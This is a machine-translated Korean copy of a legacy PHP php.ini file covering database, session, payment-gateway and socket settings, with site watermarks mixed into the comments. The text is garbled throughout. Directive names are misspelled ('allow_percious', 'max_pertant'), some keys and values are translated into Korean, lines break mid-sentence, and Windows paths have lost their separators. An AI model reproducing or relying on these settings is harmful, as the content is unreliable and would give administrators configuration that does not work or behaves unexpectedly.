sql.safe_mode = 꺼짐
[ODBC]
;uodbc.default_db = 아직 구현되지 않음
;uodbc.default_user = 아직 구현되지 않았습니다.
;uodbc.default_pw = 아직 구현되지 않음
uodbc.allow_percious = On ; 지속적인 연결을 허용하거나 비활성화합니다.
uodbc.check_pertant = On ; 재사용하기 전에 연결이 아직 사용 가능한지 확인하세요.
uodbc.max_percious = -1; 최대 영구 연결 수 -1은 무제한을 의미합니다.
uodbc.max_links = -1; 최대 연결 수(영구 및 비영구)는 무제한 네트워크 관리를 나타냅니다. u.bitsCN.com
uodbc.defaultlrl = 4096; LONG 유형의 필드를 제어합니다. 변수의 바이트 수를 반환합니다. 0은 통과(?)를 의미합니다.
uodbc.defaultbinmode = 1; 이진 데이터 제어. 0은 이진 데이터 처리를 의미하며, 1은 있는 그대로 반환되고, 2는 char로 변환됩니다.
; uodbc.defaultlrl 및 uodbc.defaultbinmode에 대한 설명은 odbc_binmode 및 odbc_longreadlen 설명서를 참조하세요
.
mysql.allow_pertant = On 영구 연결 허용 또는 비활성화
mysql.max_pertant = -1; 최대 지속 연결 수 -1은 무제한을 의미합니다.
mysql.max_links = -1 ; 최대 연결 수(영구 및 비영구) -1은 무제한을 의미합니다.
mysql.default_port = ; mysql_connect()가 사용하는 기본 포트입니다. 설정하지 않으면 mysql_connect()가 사용됩니다.
; $MYSQL_TCP_PORT 변수 또는 /etc/services(unix) 아래의 mysql-tcp 항목을 사용합니다.
; 또는 MYSQL_PORT는 컴파일 중에 정의됩니다(이 순서대로).
; Win32 환경에서는 MYSQL_PORT만 검사됩니다.
mysql.default_socket = ; 로컬 MySql 연결에 사용되는 기본 소켓 이름. 비어 있는 경우 MYSQL 내장 값을 사용합니다.
=
; 기본적으로 mysql_connect()가 사용하는 호스트(안전 모드에서는 유효하지 않음)
mysql_connect () 기본적으로 사용되는 사용자 이름(안전 모드에서는 유효하지 않음)
mysql.default_password = ; mysql_connect()에서 기본적으로 사용하는 비밀번호(안전 모드에서는 유효하지 않음)
; 이 파일에 비밀번호를 저장하는 것은 일반적으로 *나쁜* 생각입니다.
; PHP에 액세스할 수 있는 *모든* 사용자가 실행할 수 있습니다.
; 해당 비밀번호를 표시하려면 'echo cfg_get_var("mysql.default_password")'를 실행하세요!
; 물론, 파일에 대한 읽기 권한이 있는 모든 사용자도 해당 비밀번호를 볼 수 있습니다
.
msql.allow_pertant = On 영구 연결을 허용하거나 비활성화합니다.
msql.max_pertant = -1; 최대 영구 연결 수 -1은 무제한을 의미합니다.
msql.max_links = -1 ; 최대 연결 수(영구 및 비영구) -1은 무제한을 의미합니다.
[PostgresSQL]
pgsql.allow_pertant = On 영구 연결을 허용하거나 비활성화합니다.
pgsql.max_pertant = -1; 최대 영구 연결 수 -1은 무제한을 의미합니다.
pgsql.max_links = -1 ; 최대 연결 수(영구 및 비영구) -1은 무제한을 의미합니다.
[Sybase]
sybase.allow_percious = On; 영구 연결을 허용하거나 비활성화합니다
. sybase.max_percious = -1은 무제한을 의미합니다.
sybase.max_links = -1; 최대 연결 수(영구 및 비영구) -1은 무제한을 의미합니다.
;sybase.interface_file = "/usr/sybase/인터페이스"
sybase.min_error_severity = 10 표시되는 오류의 최소 심각도
sybase.min_message_severity = 10 표시되는 메시지의 최소 심각도
sybase.compatability_mode = Off ; 이전 버전의 PHP 3.0과의 호환성 모드를 켜면 PHP가 자동으로
; 결과에 따라 Sybase 유형을 할당합니다.
; 모두 문자열로 처리하는 대신.
; 이 호환 모드는 영원히 유지되지 않습니다.
; 그러므로 코드에 필요한 변경을 하십시오.
; 그리고 항목을 닫습니다.
[Sybase-CT]
sybct.allow_percious = On 영구 연결 허용 또는 비활성화
sybct.max_percious = -1; 최대 영구 연결 수 -1은 무제한을 의미합니다.
sybct.max_links = -1 ; 최대 연결 수(영구 및 비영구)는 무제한을 의미합니다.
sybct.min_server_severity = 10 표시되는 오류의 최소 심각도
sybct.min_client_severity = 10 ; 표시되는 메시지의 최소 심각도
[bcmath]
bcmath.scale = 0 ; 모든 bcmath 함수의 소수 자릿수
[browscap]
;browscap = extra/browscap.ini
browscap = C:WINSYSTEMinetsrvbrowscap.ini
[인포믹스]
ifx.default_host = ; 기본적으로 ifx_connect()가 사용하는 호스트(안전 모드에서는 유효하지 않음)
ifx.default_user = ; ifx_connect()에서 사용하는 기본 사용자 이름(안전 모드에서는 유효하지 않음)
ifx.default_password = ; ifx_connect()에서 사용하는 기본 비밀번호(안전 모드에서는 유효하지 않음)
ifx.allow_percious = On 영구 연결을 허용하거나 비활성화합니다.
ifx.max_pertant = -1 ; 최대 지속 연결 수 -1은 무제한을 의미합니다.
ifx.max_links = -1 ; 최대 연결 수(영구 및 비영구)는 무제한을 의미합니다.
ifx.textasvarchar = 0 ; 켜져 있는 경우 선택 상태 기호는 해당 ID 대신 '텍스트 blob' 필드의 내용을 반환합니다.
ifx.byteasvarchar = 0 ; 켜져 있는 경우 선택 상태 기호는 해당 ID 대신 '바이트 blob' 필드의 내용을 반환합니다.
ifx.charasvarchar = 0 ; 고정 길이 문자열에서 제거된 공백을 추적합니다.
; Informix SE 사용자에게 유효할 수 있습니다.
ifx.blobinfile = 0 ; 켜져 있으면 텍스트 및 바이트 blob의 내용을 파일로 내보냅니다.
; 메모리에 저장하는 대신.
ifx.nullformat = 0 ; 여기서 1로 설정되지 않은 경우 NULL은 null 필드로 반환됩니다.
경우
(1)에는 NULL이 문자열 NULL로 반환됩니다.
session.save_handler = 파일 저장/검색 제어 방법
session.save_path = C:wintemp; save_handler가 파일로 설정될 때 컨트롤러에 전달되는 매개변수,
; 데이터 파일이 저장될 경로입니다.
session.use_cookies = 1; 쿠키 사용 여부
세션.이름 = PHPSESSID
; 쿠키에 사용할 세션 이름
session.auto_start = 0 ; 요청이 시작되면 세션을 초기화합니다.
session.cookie_lifetime = 0은 쿠키 저장 시간(초)입니다.
; 또는 0, 브라우저가 다시 시작될 때까지
session.cookie_path = / 쿠키의 유효한 경로;
session.cookie_domain = 쿠키의 유효한 도메인 ;
session.serialize_handler = 데이터 연결에 사용되는 컨트롤러
; php는 PHP의 표준 컨트롤러입니다.
session.gc_probability = 1 ; '가비지 수집' 프로세스(%)
; 세션이 초기화될 때마다 시작될 가능성.
session.gc_maxlifetime = 1440 ; 이 숫자로 표시된 시간(초) 후에 저장된 데이터가 고려됩니다.
; '조각(쓰레기)'이며 gc 프로세스에 의해 정리됩니다.
session.referer_check = ; URL에 포함된 추가 ID를 무효화하려면 HTTP 리퍼러를 확인하세요.
session.entropy_length = 0 ; 파일에서 읽을 바이트 수
session.entropy_file = 세션 ID를 생성하려면 여기에 지정하세요.
; 세션.엔트로피_길이 = 16
; session.entropy_file = /dev/urandom
session.cache_limiter = nocache; HTTP를 결정하려면 {nocache, private, public}으로 설정하세요.
; 캐싱 문제
session.cache_expire = 180 ; 문서는 n분 후에 만료됩니다.
session.use_trans_sid = 1 ; 컴파일 타임에 활성화된 경우 전환 SID 지원을 사용합니다.
; --활성화-트랜스-시드
url_rewriter.tags = "a=href,area=href,프레임=src,input=src,form=fakeentry"
[MSSQL]
;확장자=php_mssql.dll
mssql.allow_pertant = On 영구 연결 허용 또는 비활성화
mssql.max_pertant = -1; 최대 영구 연결 수 -1은 무제한을 의미합니다.
mssql.max_links = -1; 최대 연결 수(영구 및 비영구)는 무제한 네트워크 관리를 나타냅니다.
mssql.min_error_severity = 10 표시되는 오류의 최소 심각도
mssql.min_message_severity = 10 표시되는 메시지의 최소 심각도
mssql.compatability_mode = Off ; 이전 버전의 PHP 3.0과 호환되는 모드입니다
.
; ? ? ? ?
;assert.active = 켜짐 ; 주장(expr); 기본적으로 활성화됨
;assert.warning = On ; 실패한 각각의 어설션에 대해 PHP 경고를 발행합니다.
;assert.bail = Off ; 기본적으로 구제 조치를 취하지 않습니다.
;assert.callback = 0 ; 어설션이 실패하면 호출되는 사용자 함수입니다.
을
원하는 경우 현재 error_reporting()을 사용하여 표현식을 평가합니다.
ii.allow_percious = On ; 지속적인 연결을 허용하거나 비활성화합니다.
ii.max_pertant = -1; 최대 영구 연결 수는 무제한을 의미합니다.
ii.max_links = -1 ; 최대 연결 수(영구 및 비영구)는 무제한을 의미합니다.
ii.default_database = ; 기본 데이터베이스(형식: [node_id::]dbname[/srv_class]
ii.default_user = ;기본 사용자
ii.default_password = ; 기본 비밀번호 네트워크 관리 다운로드 dl.bitscn.com
[Verisign Payflow Pro]
pfpro.defaulthost = "test.signio.com" 기본 Signio 서버
pfpro.defaultport = 443; 연결을 위한 기본 포트
pfpro.defaulttimeout = 30 ; 기본 시간 초과(초
) ; 기본 프록시 IP 주소(필요한 경우)
; pfpro.proxyport = ; 기본 프록시 포트
; pfpro.proxylogon = ; 기본 프록시 로그인(로그온 사용자 이름)
; pfpro.proxypassword = ; 기본 프록시 비밀번호
[소켓]
Sockets.use_system_read = On; php_read() 패키지 대신 시스템의 read() 함수를 사용합니다.
; 지역 변수: (지역 변수)
; 탭 너비: 4
; 끝: